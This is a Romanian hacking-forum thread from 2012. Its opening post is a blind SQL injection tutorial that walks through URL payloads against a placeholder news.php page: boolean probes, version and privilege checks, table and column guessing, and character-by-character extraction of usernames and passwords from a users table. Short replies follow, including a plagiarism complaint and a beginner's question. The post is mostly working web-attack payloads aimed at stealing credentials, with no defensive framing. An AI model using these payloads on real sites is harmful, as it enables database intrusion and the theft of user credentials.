.Slacker Posted August 30, 2012 Report Posted August 30, 2012 (edited) Blind SQLi Injection.Slacker30 August 2012Sa luam ca exemplu:http://www.site.com/news.php?id=5http://www.site.com/news.php?id=5 and 1=1 <= unde 1=1 este adevarathttp://www.site.com/news.php?id=5 and 1=2 <= unde 1=2 este fals1. MySQLPentru blind vom folosii substring.http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4Inlocuim 4 cu 5 daca query-ul este adevarat.http://www.site.com/news.php?id=5 and substring(@@version,1,1)=52. SubselectCand nu functioneaza vom folosii subselect.http://www.site.com/news.php?id=5 and (select 1)=1Acum vom vedea daca avem acces la mysql.userhttp://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1Daca pagina se incarca in mod normal, avem acces la mysql.user3. Verificarea numelui tabelelor si coloanelorhttp://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1(cu limit 0,1 query-ul rezulta un rand de date din cauza subselect-ului. Daca pagina se incarca in mod normal, fara continut lipsa, exista. Daca avem FALSE lipsete un articol schimbam doar numele tabelului pana cand il ghicim.Sa zicem ca numele tabelului cu utilizatori este users. Acum avem nevoie de numele coloanei.http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1Daca pagina se incarca in mod normal, inseamna ca numele coloanei este Password.Avem o coloana cu parola.4. Extragerea datelor din baza de dateDaca am gasit tabelul cu utilizatori si coloana, parola si numele de utilizator, vom extragere caracterele din lista.http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80Convertim caracterul 1 in valoare ASCII ( ASCII() )Vom incerca sa ajungem la FALSE.http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95Am ajuns la TRUE si trebuie sa pastram incrementarea.http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98Avem TRUE din nou.http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99Acum avem FALSE.Primul caracter din USERNAME este char(99)Convertim in ASCII:char(99) este scris 'c'.Sa verificam al doilea caracter:http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99Am schimbat ,1,1 in ,2,1 pentru a obtine al doilea caracter.Acum ne intorcem la caracterul 1:http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99Pagina ar trebuii sa se incarce in mod normal deci este TRUE.http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107Este fals si reducem numarul:http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104Este adevarat si ridicam numarul:http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105Fals.Deci al doilea caracter este char(105) si este 'i', si avem 'ci' in masura atunci ca incrementam pana la sfarsit atunci cand >0 returneaza fals (FALSE) stim ca ajungem la final.Sper ca am ajutat cu acest tutorial Edited August 30, 2012 by .Slacker 1 Quote
SirGod Posted August 30, 2012 Report Posted August 30, 2012 (edited) Iti multumesc, este un tutorial foarte original, chiar primul de acest gen daca imi aduc bine. Sa fiu al naibii daca am mai vazut unul aproximativ identic. Cred ca tipul asta Marezzi s-a intors in timp si ti-a copiat tutorialul prin 2008. Nici macar exemplele nu le-a modificat.Vulnerability analysis, Security Papers, Exploit Tutorials (partea 2, mai jos) Edited August 30, 2012 by SirGod Quote
GraphLog Posted August 30, 2012 Report Posted August 30, 2012 Daca pagina se incarca in mod normal, avem acces la mysql.userDar daca nu? Quote
ganjalover Posted August 31, 2012 Report Posted August 31, 2012 Frumos tutorial Sa inteleaga toti astia ca mine, mai... incepatori sa zicem .. Quote